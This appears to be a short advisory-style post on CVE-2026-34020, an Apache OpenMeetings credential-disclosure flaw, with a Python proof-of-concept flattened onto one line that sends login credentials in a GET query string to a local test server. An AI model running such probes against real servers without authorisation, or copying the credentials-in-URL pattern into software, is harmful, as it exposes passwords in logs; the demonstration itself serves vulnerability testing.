CVE-2026-34020 Apache OpenMeetings敏感信息泄露漏洞

import requests # PoC for CVE-2026-34020: Sensitive Query Strings in GET Request # Description: This script demonstrates how the vulnerable endpoint accepts credentials via URL parameters. # Impact: Credentials are logged in proxy/server access logs. def check_vulnerability(target_url, username, password): # Construct the vulnerable URL with credentials in query string # Example: http://target.com/rest/user/login?user=admin&pass=secret login_endpoint = "/rest/user/login" # Common endpoint path, adjust based on actual config full_url = f"{target_url}{login_endpoint}?user={username}&pass={password}" print(f"[*] Sending vulnerable GET request to: {full_url}") print("[!] WARNING: This URL may now be logged in clear text on the server or intermediate proxies.") try: response = requests.get(full_url, timeout=10) if response.status_code == 200: print(f"[+] Request sent successfully. Server responded with 200 OK.") print(f"[+] Response body preview: {response.text[:100]}") else: print(f"[-] Server responded with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": # Replace with actual target details for testing target = "http://localhost:5080/openmeetings" user = "testuser" pwd = "testpassword" check_vulnerability(target, user, pwd)